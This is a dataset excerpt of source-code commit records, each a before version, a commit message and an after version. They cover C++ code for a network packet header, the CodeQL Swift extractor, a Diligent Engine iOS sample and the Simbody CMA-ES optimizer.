sizeof(header.arrivalRate);\n }\n \n if (hasRttResponse) {\n EmiNetUtil::write24(bufCur, header.rttResponse);\n bufCur += EMI_PACKET_SEQUENCE_NUMBER_LENGTH;\n \n *bufCur = header.rttResponseDelay;\n bufCur += sizeof(header.rttResponseDelay);\n }\n \n if (headerLength) {\n *headerLength = expectedSize;\n }\n \n return true;\n}\n\nbool EmiPacketHeader::writeEmpty(uint8_t *buf, size_t bufSize, size_t *headerLength) {\n if (0 >= bufSize) {\n return false;\n }\n \n *buf = 0;\n *headerLength = 1;\n \n return true;\n}\n\nvoid EmiPacketHeader::addFillerBytes(uint8_t *buf, size_t packetSize, uint16_t fillerSize) {\n ASSERT(1 <= packetSize);\n \n if (0 == fillerSize) {\n \/\/ We don't need to do anything\n return;\n }\n \n \/\/ Move the packet data\n std::copy_backward(buf+1, buf+packetSize, buf+packetSize+fillerSize);\n \n \/\/ Make sure we have the extra flags byte\n if (!(buf[0] & EMI_EXTRA_FLAGS_PACKET_FLAG)) {\n buf[0] |= EMI_EXTRA_FLAGS_PACKET_FLAG;\n buf[1] = 0;\n \n \/\/ Decrement the filler size here because by adding\n \/\/ the extra flags byte we have already increased\n \/\/ the size of the packet by one.\n fillerSize -= 1;\n }\n \n if (0 == fillerSize) {\n \/\/ We're done. This happens when fillerSize was 1 and\n \/\/ the packet did not already contain the extra flags\n \/\/ byte\n }\n else if (1 == fillerSize) {\n buf[1] |= EMI_1_BYTE_FILLER_EXTRA_PACKET_FLAG;\n buf[2] = 0;\n }\n else {\n buf[1] |= EMI_2_BYTE_FILLER_EXTRA_PACKET_FLAG;\n \n *((uint16_t *)(buf+2)) = htons(fillerSize - 2);\n \n memset(buf+4, 0, fillerSize-2);\n }\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>GraphicManager: fix crash when swapping out graphics<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>fdo#38635: sw: fix border corner gaps:<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>During sensor search only check data of joining device for resource creation<commit_after><|endoftext|>"} {"text":"<commit_before><commit_msg>Filter REST API plugin network interfaces to not include virtual and loopback interface<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"SwiftExtractor.h\"\n\n#include <filesystem>\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <memory>\n#include <unistd.h>\n#include <unordered_set>\n\n#include <swift\/AST\/SourceFile.h>\n#include <swift\/Basic\/FileTypes.h>\n#include <llvm\/ADT\/SmallString.h>\n#include <llvm\/Support\/FileSystem.h>\n#include <llvm\/Support\/Path.h>\n\n#include \"swift\/extractor\/trap\/generated\/TrapClasses.h\"\n#include \"swift\/extractor\/trap\/TrapOutput.h\"\n#include \"swift\/extractor\/SwiftVisitor.h\"\n\nusing namespace codeql;\n\nstatic void archiveFile(const SwiftExtractorConfiguration& config, swift::SourceFile& file) {\n if (std::error_code ec = llvm::sys::fs::create_directories(config.trapDir)) {\n std::cerr << \"Cannot create TRAP directory: \" << ec.message() << \"\\n\";\n return;\n }\n\n if (std::error_code ec = llvm::sys::fs::create_directories(config.sourceArchiveDir)) {\n std::cerr << \"Cannot create source archive directory: \" << ec.message() << \"\\n\";\n return;\n }\n\n llvm::SmallString<PATH_MAX> srcFilePath(file.getFilename());\n llvm::sys::fs::make_absolute(srcFilePath);\n\n llvm::SmallString<PATH_MAX> dstFilePath(config.sourceArchiveDir);\n llvm::sys::path::append(dstFilePath, srcFilePath);\n\n llvm::StringRef parent = llvm::sys::path::parent_path(dstFilePath);\n if (std::error_code ec = llvm::sys::fs::create_directories(parent)) {\n std::cerr << \"Cannot create source archive destination directory '\" << parent.str()\n << \"': \" << ec.message() << \"\\n\";\n return;\n }\n\n if (std::error_code ec = llvm::sys::fs::copy_file(srcFilePath, dstFilePath)) {\n std::cerr << \"Cannot archive source file '\" << srcFilePath.str().str() << \"' -> '\"\n << dstFilePath.str().str() << \"': \" << ec.message() << \"\\n\";\n return;\n }\n}\n\nstatic void extractDeclarations(const SwiftExtractorConfiguration& config,\n llvm::ArrayRef<swift::Decl*> topLevelDecls,\n swift::CompilerInstance& compiler,\n swift::ModuleDecl& module,\n swift::SourceFile* primaryFile = nullptr) {\n \/\/ The extractor can be called several times from different processes with\n \/\/ the same input file(s)\n \/\/ We are using PID to avoid concurrent access\n \/\/ TODO: find a more robust approach to avoid collisions?\n llvm::StringRef filename = primaryFile ? primaryFile->getFilename() : module.getModuleFilename();\n std::string tempTrapName = filename.str() + '.' + std::to_string(getpid()) + \".trap\";\n llvm::SmallString<PATH_MAX> tempTrapPath(config.trapDir);\n llvm::sys::path::append(tempTrapPath, tempTrapName);\n\n llvm::StringRef trapParent = llvm::sys::path::parent_path(tempTrapPath);\n if (std::error_code ec = llvm::sys::fs::create_directories(trapParent)) {\n std::cerr << \"Cannot create trap directory '\" << trapParent.str() << \"': \" << ec.message()\n << \"\\n\";\n return;\n }\n\n std::ofstream trapStream(tempTrapPath.str().str());\n if (!trapStream) {\n std::error_code ec;\n ec.assign(errno, std::generic_category());\n std::cerr << \"Cannot create temp trap file '\" << tempTrapPath.str().str()\n << \"': \" << ec.message() << \"\\n\";\n return;\n }\n trapStream << \"\/\/ extractor-args: \";\n for (auto opt : config.frontendOptions) {\n trapStream << std::quoted(opt) << \" \";\n }\n trapStream << \"\\n\\n\";\n\n TrapOutput trap{trapStream};\n TrapArena arena{};\n\n \/\/ TODO: move default location emission elsewhere, possibly in a separate global trap file\n auto unknownFileLabel = arena.allocateLabel<FileTag>();\n \/\/ the following cannot conflict with actual files as those have an absolute path starting with \/\n trap.assignKey(unknownFileLabel, \"unknown\");\n trap.emit(FilesTrap{unknownFileLabel});\n auto unknownLocationLabel = arena.allocateLabel<LocationTag>();\n trap.assignKey(unknownLocationLabel, \"unknown\");\n trap.emit(LocationsTrap{unknownLocationLabel, unknownFileLabel});\n\n SwiftVisitor visitor(compiler.getSourceMgr(), arena, trap, module, primaryFile);\n for (auto decl : topLevelDecls) {\n visitor.extract(decl);\n }\n if (topLevelDecls.empty()) {\n \/\/ In the case of empty files, the dispatcher is not called, but we still want to 'record' the\n \/\/ fact that the file was extracted\n llvm::SmallString<PATH_MAX> name(filename);\n llvm::sys::fs::make_absolute(name);\n auto fileLabel = arena.allocateLabel<FileTag>();\n trap.assignKey(fileLabel, name.str().str());\n trap.emit(FilesTrap{fileLabel, name.str().str()});\n }\n\n \/\/ TODO: Pick a better name to avoid collisions\n std::string trapName = filename.str() + \".trap\";\n llvm::SmallString<PATH_MAX> trapPath(config.trapDir);\n llvm::sys::path::append(trapPath, trapName);\n\n \/\/ TODO: The last process wins. Should we do better than that?\n if (std::error_code ec = llvm::sys::fs::rename(tempTrapPath, trapPath)) {\n std::cerr << \"Cannot rename temp trap file '\" << tempTrapPath.str().str() << \"' -> '\"\n << trapPath.str().str() << \"': \" << ec.message() << \"\\n\";\n }\n}\n\nvoid codeql::extractSwiftFiles(const SwiftExtractorConfiguration& config,\n swift::CompilerInstance& compiler) {\n \/\/ The frontend can be called in many different ways.\n \/\/ At each invocation we only extract system and builtin modules and any input source files that\n \/\/ have an output associated with them.\n std::unordered_set<std::string> sourceFiles;\n auto inputFiles = compiler.getInvocation().getFrontendOptions().InputsAndOutputs.getAllInputs();\n for (auto& input : inputFiles) {\n if (input.getType() == swift::file_types::TY_Swift && !input.outputFilename().empty()) {\n sourceFiles.insert(input.getFileName());\n }\n }\n\n for (auto& [_, module] : compiler.getASTContext().getLoadedModules()) {\n \/\/ We only extract system and builtin modules here as the other \"user\" modules can be built\n \/\/ during the build process and then re-used at a later stage. In this case, we extract the\n \/\/ user code twice: once during the module build in a form of a source file, and then as\n \/\/ a pre-built module during building of the dependent source files.\n if (module->isSystemModule() || module->isBuiltinModule()) {\n llvm::SmallVector<swift::Decl*> decls;\n module->getTopLevelDecls(decls);\n \/\/ TODO: pass ModuleDecl directly when we have module extraction in place?\n extractDeclarations(config, decls, compiler, *module);\n } else {\n for (auto file : module->getFiles()) {\n if (!llvm::isa<swift::SourceFile>(file)) {\n continue;\n }\n auto sourceFile = llvm::cast<swift::SourceFile>(file);\n if (sourceFiles.count(sourceFile->getFilename().str()) == 0) {\n continue;\n }\n archiveFile(config, *sourceFile);\n extractDeclarations(config, sourceFile->getTopLevelDecls(), compiler, *module, sourceFile);\n }\n }\n }\n}\n<commit_msg>Update swift\/extractor\/SwiftExtractor.cpp<commit_after>#include \"SwiftExtractor.h\"\n\n#include <filesystem>\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <memory>\n#include <unistd.h>\n#include <unordered_set>\n\n#include <swift\/AST\/SourceFile.h>\n#include <swift\/Basic\/FileTypes.h>\n#include <llvm\/ADT\/SmallString.h>\n#include <llvm\/Support\/FileSystem.h>\n#include <llvm\/Support\/Path.h>\n\n#include \"swift\/extractor\/trap\/generated\/TrapClasses.h\"\n#include \"swift\/extractor\/trap\/TrapOutput.h\"\n#include \"swift\/extractor\/SwiftVisitor.h\"\n\nusing namespace codeql;\n\nstatic void archiveFile(const SwiftExtractorConfiguration& config, swift::SourceFile& file) {\n if (std::error_code ec = llvm::sys::fs::create_directories(config.trapDir)) {\n std::cerr << \"Cannot create TRAP directory: \" << ec.message() << \"\\n\";\n return;\n }\n\n if (std::error_code ec = llvm::sys::fs::create_directories(config.sourceArchiveDir)) {\n std::cerr << \"Cannot create source archive directory: \" << ec.message() << \"\\n\";\n return;\n }\n\n llvm::SmallString<PATH_MAX> srcFilePath(file.getFilename());\n llvm::sys::fs::make_absolute(srcFilePath);\n\n llvm::SmallString<PATH_MAX> dstFilePath(config.sourceArchiveDir);\n llvm::sys::path::append(dstFilePath, srcFilePath);\n\n llvm::StringRef parent = llvm::sys::path::parent_path(dstFilePath);\n if (std::error_code ec = llvm::sys::fs::create_directories(parent)) {\n std::cerr << \"Cannot create source archive destination directory '\" << parent.str()\n << \"': \" << ec.message() << \"\\n\";\n return;\n }\n\n if (std::error_code ec = llvm::sys::fs::copy_file(srcFilePath, dstFilePath)) {\n std::cerr << \"Cannot archive source file '\" << srcFilePath.str().str() << \"' -> '\"\n << dstFilePath.str().str() << \"': \" << ec.message() << \"\\n\";\n return;\n }\n}\n\nstatic void extractDeclarations(const SwiftExtractorConfiguration& config,\n llvm::ArrayRef<swift::Decl*> topLevelDecls,\n swift::CompilerInstance& compiler,\n swift::ModuleDecl& module,\n swift::SourceFile* primaryFile = nullptr) {\n \/\/ The extractor can be called several times from different processes with\n \/\/ the same input file(s)\n \/\/ We are using PID to avoid concurrent access\n \/\/ TODO: find a more robust approach to avoid collisions?\n llvm::StringRef filename = primaryFile ? primaryFile->getFilename() : module.getModuleFilename();\n std::string tempTrapName = filename.str() + '.' + std::to_string(getpid()) + \".trap\";\n llvm::SmallString<PATH_MAX> tempTrapPath(config.trapDir);\n llvm::sys::path::append(tempTrapPath, tempTrapName);\n\n llvm::StringRef trapParent = llvm::sys::path::parent_path(tempTrapPath);\n if (std::error_code ec = llvm::sys::fs::create_directories(trapParent)) {\n std::cerr << \"Cannot create trap directory '\" << trapParent.str() << \"': \" << ec.message()\n << \"\\n\";\n return;\n }\n\n std::ofstream trapStream(tempTrapPath.str().str());\n if (!trapStream) {\n std::error_code ec;\n ec.assign(errno, std::generic_category());\n std::cerr << \"Cannot create temp trap file '\" << tempTrapPath.str().str()\n << \"': \" << ec.message() << \"\\n\";\n return;\n }\n trapStream << \"\/\/ extractor-args: \";\n for (auto opt : config.frontendOptions) {\n trapStream << std::quoted(opt) << \" \";\n }\n trapStream << \"\\n\\n\";\n\n TrapOutput trap{trapStream};\n TrapArena arena{};\n\n \/\/ TODO: move default location emission elsewhere, possibly in a separate global trap file\n auto unknownFileLabel = arena.allocateLabel<FileTag>();\n \/\/ the following cannot conflict with actual files as those have an absolute path starting with \/\n trap.assignKey(unknownFileLabel, \"unknown\");\n trap.emit(FilesTrap{unknownFileLabel});\n auto unknownLocationLabel = arena.allocateLabel<LocationTag>();\n trap.assignKey(unknownLocationLabel, \"unknown\");\n trap.emit(LocationsTrap{unknownLocationLabel, unknownFileLabel});\n\n SwiftVisitor visitor(compiler.getSourceMgr(), arena, trap, module, primaryFile);\n for (auto decl : topLevelDecls) {\n visitor.extract(decl);\n }\n if (topLevelDecls.empty()) {\n \/\/ In the case of empty files, the dispatcher is not called, but we still want to 'record' the\n \/\/ fact that the file was extracted\n llvm::SmallString<PATH_MAX> name(filename);\n llvm::sys::fs::make_absolute(name);\n auto fileLabel = arena.allocateLabel<FileTag>();\n trap.assignKey(fileLabel, name.str().str());\n trap.emit(FilesTrap{fileLabel, name.str().str()});\n }\n\n \/\/ TODO: Pick a better name to avoid collisions\n std::string trapName = filename.str() + \".trap\";\n llvm::SmallString<PATH_MAX> trapPath(config.trapDir);\n llvm::sys::path::append(trapPath, trapName);\n\n \/\/ TODO: The last process wins. Should we do better than that?\n if (std::error_code ec = llvm::sys::fs::rename(tempTrapPath, trapPath)) {\n std::cerr << \"Cannot rename temp trap file '\" << tempTrapPath.str().str() << \"' -> '\"\n << trapPath.str().str() << \"': \" << ec.message() << \"\\n\";\n }\n}\n\nvoid codeql::extractSwiftFiles(const SwiftExtractorConfiguration& config,\n swift::CompilerInstance& compiler) {\n \/\/ The frontend can be called in many different ways.\n \/\/ At each invocation we only extract system and builtin modules and any input source files that\n \/\/ have an output associated with them.\n std::unordered_set<std::string> sourceFiles;\n auto inputFiles = compiler.getInvocation().getFrontendOptions().InputsAndOutputs.getAllInputs();\n for (auto& input : inputFiles) {\n if (input.getType() == swift::file_types::TY_Swift && !input.outputFilename().empty()) {\n sourceFiles.insert(input.getFileName());\n }\n }\n\n for (auto& [_, module] : compiler.getASTContext().getLoadedModules()) {\n \/\/ We only extract system and builtin modules here as the other \"user\" modules can be built\n \/\/ during the build process and then re-used at a later stage. In this case, we extract the\n \/\/ user code twice: once during the module build in a form of a source file, and then as\n \/\/ a pre-built module during building of the dependent source files.\n if (module->isSystemModule() || module->isBuiltinModule()) {\n llvm::SmallVector<swift::Decl*> decls;\n module->getTopLevelDecls(decls);\n \/\/ TODO: pass ModuleDecl directly when we have module extraction in place?\n extractDeclarations(config, decls, compiler, *module);\n } else {\n for (auto file : module->getFiles()) {\n auto sourceFile = llvm::dyn_cast<swift::SourceFile>(file);\n if (!sourceFile || sourceFiles.count(sourceFile->getFilename().str()) == 0) {\n continue;\n }\n archiveFile(config, *sourceFile);\n extractDeclarations(config, sourceFile->getTopLevelDecls(), compiler, *module, sourceFile);\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>UPDATE moved reflection cubmap subresource init to be independent to static shadows<commit_after><|endoftext|>"} {"text":"<commit_before>\/* Copyright 2015-2018 Egor Yusov\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF ANY PROPRIETARY RIGHTS.\n*\n* In no event and under no legal theory, whether in tort (including negligence),\n* contract, or otherwise, unless required by applicable law (such as deliberate\n* and grossly negligent acts) or agreed to in writing, shall any Contributor be\n* liable for any damages, including any direct, indirect, special, incidental,\n* or consequential damages of any character arising as a result of this License or\n* out of the use or inability to use the software (including but not limited to damages\n* for loss of goodwill, work stoppage, computer failure or malfunction, or any and\n* all other commercial damages or losses), even if such Contributor has been advised\n* of the possibility of such damages.\n*\/\n\n#include <queue>\n#include \"SampleApp.h\"\n#include \"AntTweakBar.h\"\n\nusing namespace Diligent;\n\nclass SampleAppIOS final : public SampleApp\n{\npublic:\n SampleAppIOS()\n {\n m_DeviceType = DeviceType::OpenGLES;\n }\n\n virtual void OnGLContextCreated(void *eaglLayer)override final\n {\n InitializeDiligentEngine(eaglLayer);\n m_TheSample->SetUIScale(2);\n InitializeSample();\n }\n \n virtual void Render()override\n {\n \/*m_pImmediateContext->SetRenderTargets(0, nullptr, nullptr);\n \/\/ Handle all TwBar events here as the event handlers call draw commands\n \/\/ and thus cannot be used in the UI thread\n while(!TwBarEvents.empty())\n {\n const auto& event = TwBarEvents.front();\n switch (event.type)\n {\n case TwEvent::LMB_PRESSED:\n case TwEvent::RMB_PRESSED:\n TwMouseButton(TW_MOUSE_PRESSED, event.type == TwEvent::LMB_PRESSED ? TW_MOUSE_LEFT : TW_MOUSE_RIGHT);\n break;\n \n case TwEvent::LMB_RELEASED:\n case TwEvent::RMB_RELEASED:\n TwMouseButton(TW_MOUSE_RELEASED, event.type == TwEvent::LMB_RELEASED ? TW_MOUSE_LEFT : TW_MOUSE_RIGHT);\n break;\n \n case TwEvent::MOUSE_MOVE:\n TwMouseMotion(event.mouseX, event.mouseY);\n break;\n \n case TwEvent::KEY_PRESSED:\n TwKeyPressed(event.key, 0);\n break;\n }\n TwBarEvents.pop();\n }*\/\n \n SampleApp::Render();\n }\n\nprivate:\n \/*\n \/\/ Unfortunately TwBar library calls rendering\n \/\/ functions from event handlers, which does not work on MacOS\n \/\/ as UI events and rendering are handled by separate threads\n struct TwEvent\n {\n enum EVENT_TYPE\n {\n LMB_PRESSED,\n LMB_RELEASED,\n RMB_PRESSED,\n RMB_RELEASED,\n MOUSE_MOVE,\n KEY_PRESSED\n }type;\n int mouseX = 0;\n int mouseY = 0;\n int key = 0;\n \n TwEvent(EVENT_TYPE _type) : type(_type){}\n TwEvent(int x, int y) : type(MOUSE_MOVE), mouseX(x), mouseY(y){}\n TwEvent(int k) : type(KEY_PRESSED), key(k){}\n };\n std::queue<TwEvent> TwBarEvents;*\/\n};\n\nNativeAppBase* CreateApplication()\n{\n return new SampleAppIOS;\n}\n<commit_msg>Removed UI scale on iOS<commit_after>\/* Copyright 2015-2018 Egor Yusov\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF ANY PROPRIETARY RIGHTS.\n*\n* In no event and under no legal theory, whether in tort (including negligence),\n* contract, or otherwise, unless required by applicable law (such as deliberate\n* and grossly negligent acts) or agreed to in writing, shall any Contributor be\n* liable for any damages, including any direct, indirect, special, incidental,\n* or consequential damages of any character arising as a result of this License or\n* out of the use or inability to use the software (including but not limited to damages\n* for loss of goodwill, work stoppage, computer failure or malfunction, or any and\n* all other commercial damages or losses), even if such Contributor has been advised\n* of the possibility of such damages.\n*\/\n\n#include <queue>\n#include \"SampleApp.h\"\n#include \"AntTweakBar.h\"\n\nusing namespace Diligent;\n\nclass SampleAppIOS final : public SampleApp\n{\npublic:\n SampleAppIOS()\n {\n m_DeviceType = DeviceType::OpenGLES;\n }\n\n virtual void OnGLContextCreated(void *eaglLayer)override final\n {\n InitializeDiligentEngine(eaglLayer);\n InitializeSample();\n }\n \n virtual void Render()override\n {\n \/*m_pImmediateContext->SetRenderTargets(0, nullptr, nullptr);\n \/\/ Handle all TwBar events here as the event handlers call draw commands\n \/\/ and thus cannot be used in the UI thread\n while(!TwBarEvents.empty())\n {\n const auto& event = TwBarEvents.front();\n switch (event.type)\n {\n case TwEvent::LMB_PRESSED:\n case TwEvent::RMB_PRESSED:\n TwMouseButton(TW_MOUSE_PRESSED, event.type == TwEvent::LMB_PRESSED ? TW_MOUSE_LEFT : TW_MOUSE_RIGHT);\n break;\n \n case TwEvent::LMB_RELEASED:\n case TwEvent::RMB_RELEASED:\n TwMouseButton(TW_MOUSE_RELEASED, event.type == TwEvent::LMB_RELEASED ? TW_MOUSE_LEFT : TW_MOUSE_RIGHT);\n break;\n \n case TwEvent::MOUSE_MOVE:\n TwMouseMotion(event.mouseX, event.mouseY);\n break;\n \n case TwEvent::KEY_PRESSED:\n TwKeyPressed(event.key, 0);\n break;\n }\n TwBarEvents.pop();\n }*\/\n \n SampleApp::Render();\n }\n\nprivate:\n \/*\n \/\/ Unfortunately TwBar library calls rendering\n \/\/ functions from event handlers, which does not work on MacOS\n \/\/ as UI events and rendering are handled by separate threads\n struct TwEvent\n {\n enum EVENT_TYPE\n {\n LMB_PRESSED,\n LMB_RELEASED,\n RMB_PRESSED,\n RMB_RELEASED,\n MOUSE_MOVE,\n KEY_PRESSED\n }type;\n int mouseX = 0;\n int mouseY = 0;\n int key = 0;\n \n TwEvent(EVENT_TYPE _type) : type(_type){}\n TwEvent(int x, int y) : type(MOUSE_MOVE), mouseX(x), mouseY(y){}\n TwEvent(int k) : type(KEY_PRESSED), key(k){}\n };\n std::queue<TwEvent> TwBarEvents;*\/\n};\n\nNativeAppBase* CreateApplication()\n{\n return new SampleAppIOS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n * Simbody(tm): SimTKmath *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap for *\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org\/home\/simbody. *\n * *\n * Portions copyright (c) 2006-14 Stanford University and the Authors. *\n * Authors: Chris Dembia *\n * Contributors: Michael Sherman *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n#include \"CMAESOptimizer.h\"\n\n#include <bitset>\n\nnamespace SimTK {\n\n#define SimTK_CMAES_PRINT(diag, cmds) \\\ndo { \\\nif (std::bitset<2>(diag).test(0)) { cmds; } \\\n} \\\nwhile(false)\n\n#define SimTK_CMAES_FILE(diag, cmds) \\\ndo { \\\nif (std::bitset<2>(diag).test(1)) { cmds; } \\\n} \\\nwhile(false)\n\nCMAESOptimizer::CMAESOptimizer(const OptimizerSystem& sys) : OptimizerRep(sys)\n{\n SimTK_VALUECHECK_ALWAYS(2, sys.getNumParameters(), INT_MAX, \"nParameters\",\n \"CMAESOptimizer\");\n}\n\nOptimizer::OptimizerRep* CMAESOptimizer::clone() const {\n return new CMAESOptimizer(*this);\n}\n\nReal CMAESOptimizer::optimize(SimTK::Vector& results)\n{ \n const OptimizerSystem& sys = getOptimizerSystem();\n int n = sys.getNumParameters();\n\n \/\/ Initialize objective function value and cmaes data structure.\n \/\/ =============================================================\n Real f; \n cmaes_t evo;\n\n \/\/ Check that the initial point is feasible.\n \/\/ =========================================\n checkInitialPointIsFeasible(results);\n \n \/\/ Initialize cmaes.\n \/\/ =================\n double* funvals = init(evo, results);\n SimTK_CMAES_PRINT(diagnosticsLevel, printf(\"%s\\n\", cmaes_SayHello(&evo)));\n \n \/\/ Optimize.\n \/\/ =========\n while (!cmaes_TestForTermination(&evo)) {\n\n \/\/ Sample a population.\n \/\/ ====================\n double*const* pop = cmaes_SamplePopulation(&evo);\n\n \/\/ Resample to keep population within limits.\n \/\/ ==========================================\n if( sys.getHasLimits() ) {\n Real *lowerLimits, *upperLimits;\n sys.getParameterLimits( &lowerLimits, &upperLimits );\n \n for (int i = 0; i < cmaes_Get(&evo, \"lambda\"); i++) {\n bool feasible = false; \n while (!feasible) {\n feasible = true; \n for (int j = 0; j < n; j++) {\n if (pop[i][j] < lowerLimits[j] || \n pop[i][j] > upperLimits[j]) {\n feasible = false; \n pop = cmaes_ReSampleSingle(&evo, i); \n break; \n }\n }\n }\n }\n }\n\n \/\/ Evaluate the objective function on the samples.\n \/\/ ===============================================\n for (int i = 0; i < cmaes_Get(&evo, \"lambda\"); i++) {\n objectiveFuncWrapper(n, pop[i], true, &funvals[i], this);\n }\n \n \/\/ Update the distribution (mean, covariance, etc.).\n \/\/ =================================================\n cmaes_UpdateDistribution(&evo, funvals);\n }\n\n \/\/ Wrap up.\n \/\/ ========\n SimTK_CMAES_PRINT(diagnosticsLevel,\n printf(\"Stop:\\n%s\\n\", cmaes_TestForTermination(&evo)));\n\n \/\/ Update best parameters and objective function value.\n const double* optx = cmaes_GetPtr(&evo, \"xbestever\");\n for (int i = 0; i < n; i++) {\n results[i] = optx[i]; \n }\n f = cmaes_Get(&evo, \"fbestever\");\n\n SimTK_CMAES_FILE(diagnosticsLevel,\n cmaes_WriteToFile(&evo, \"all\", \"allcmaes.dat\"));\n\n \/\/ Free memory.\n cmaes_exit(&evo);\n \n return f; \n}\n\nvoid CMAESOptimizer::checkInitialPointIsFeasible(const Vector& x) const {\n\n const OptimizerSystem& sys = getOptimizerSystem();\n\n if( sys.getHasLimits() ) {\n Real *lowerLimits, *upperLimits;\n sys.getParameterLimits( &lowerLimits, &upperLimits );\n for (int i = 0; i < sys.getNumParameters(); i++) {\n SimTK_APIARGCHECK4_ALWAYS(\n lowerLimits[i] <= x[i] && x[i] <= upperLimits[i],\n \"CMAESOptimizer\", \"checkInitialPointIsFeasible\",\n \"Initial guess results[%d] = %f \"\n \"is not within limits [%f, %f].\",\n i, x[i], lowerLimits[i], upperLimits[i]);\n }\n }\n}\n\ndouble* CMAESOptimizer::init(cmaes_t& evo, SimTK::Vector& results) const\n{\n const OptimizerSystem& sys = getOptimizerSystem();\n int n = sys.getNumParameters();\n\n \/\/ Prepare to call cmaes_init_para.\n \/\/ ================================\n\n \/\/ lambda\n \/\/ ------\n int lambda = 0;\n getAdvancedIntOption(\"lambda\", lambda);\n \n \/\/ sigma\n \/\/ -----\n double sigma = 0;\n double* stddev = NULL;\n Vector sigmaArray;\n if (getAdvancedRealOption(\"sigma\", sigma)) {\n sigmaArray.resize(n);\n for (int i = 0; i < n; i++) {\n sigmaArray[i] = sigma;\n }\n stddev = &sigmaArray[0];\n }\n\n \/\/ seed\n \/\/ ----\n int seed = 0;\n if (getAdvancedIntOption(\"seed\", seed)) {\n SimTK_VALUECHECK_NONNEG_ALWAYS(seed, \"seed\",\n \"CMAESOptimizer::processSettingsBeforeCMAESInit\");\n }\n\n \/\/ input parameter filename\n \/\/ ------------------------\n std::string input_parameter_filename = \"none\";\n SimTK_CMAES_FILE(diagnosticsLevel,\n input_parameter_filename = \"writeonly\";);\n\n \/\/ Call cmaes_init_para.\n \/\/ =====================\n \/\/ Here, we specify the subset of options that can be passed to\n \/\/ cmaes_init_para.\n cmaes_init_para(&evo,\n n, \/\/ dimension\n &results[0], \/\/ xstart\n stddev, \/\/ stddev\n seed, \/\/ seed\n lambda, \/\/ lambda\n input_parameter_filename.c_str() \/\/ input_parameter_filename\n ); \n\n \/\/ Set settings that are usually read in from cmaes_initials.par.\n \/\/ ==============================================================\n process_readpara_settings(evo);\n\n \/\/ Once we've updated settings in readpara_t, finalize the initialization.\n return cmaes_init_final(&evo);\n}\n\nvoid CMAESOptimizer::process_readpara_settings(cmaes_t& evo) const\n{\n \/\/ Termination criteria\n \/\/ ====================\n\n \/\/ stopMaxIter\n \/\/ -----------\n \/\/ maxIterations is a protected member variable of OptimizerRep.\n evo.sp.stopMaxIter = maxIterations;\n\n \/\/ stopTolFun\n \/\/ ----------\n \/\/ convergenceTolerance is a protected member variable of OptimizerRep.\n evo.sp.stopTolFun = convergenceTolerance;\n\n \/\/ stopMaxFunEvals\n \/\/ ---------------\n int stopMaxFunEvals;\n if (getAdvancedIntOption(\"stopMaxFunEvals\", stopMaxFunEvals)) {\n SimTK_VALUECHECK_NONNEG_ALWAYS(stopMaxFunEvals, \"stopMaxFunEvals\",\n \"CMAESOptimizer::processSettingsAfterCMAESInit\");\n evo.sp.stopMaxFunEvals = stopMaxFunEvals;\n }\n\n \/\/ stopFitness\n \/\/ -----------\n double stopFitness;\n if (getAdvancedRealOption(\"stopFitness\", stopFitness)) {\n evo.sp.stStopFitness.flg = 1;\n evo.sp.stStopFitness.val = stopFitness;\n }\n\n \/\/ stopTolFunHist\n \/\/ --------------\n double stopTolFunHist;\n if (getAdvancedRealOption(\"stopTolFunHist\", stopTolFunHist)) {\n evo.sp.stopTolFunHist = stopTolFunHist;\n }\n\n \/\/ stopTolX\n \/\/ --------\n double stopTolX;\n if (getAdvancedRealOption(\"stopTolX\", stopTolX)) {\n evo.sp.stopTolX = stopTolX;\n }\n\n \/\/ stopTolXFactor\n \/\/ --------------\n double stopTolUpXFactor;\n if (getAdvancedRealOption(\"stopTolUpXFactor\", stopTolUpXFactor)) {\n evo.sp.stopTolUpXFactor = stopTolUpXFactor;\n }\n\n \/\/ maxtime\n \/\/ =======\n double maxtime;\n if (getAdvancedRealOption(\"maxTimeFractionForEigendecomposition\", maxtime))\n {\n evo.sp.updateCmode.maxtime = maxtime;\n }\n}\n\n#undef SimTK_CMAES_PRINT\n#undef SimTK_CMAES_FILE\n\n} \/\/ namespace SimTK\n<commit_msg>Add Niko as contributor to CMAESOptimizer.<commit_after>\/* -------------------------------------------------------------------------- *\n * Simbody(tm): SimTKmath *\n * -------------------------------------------------------------------------- *\n * This is part of the SimTK biosimulation toolkit originating from *\n * Simbios, the NIH National Center for Physics-Based Simulation of *\n * Biological Structures at Stanford, funded under the NIH Roadmap 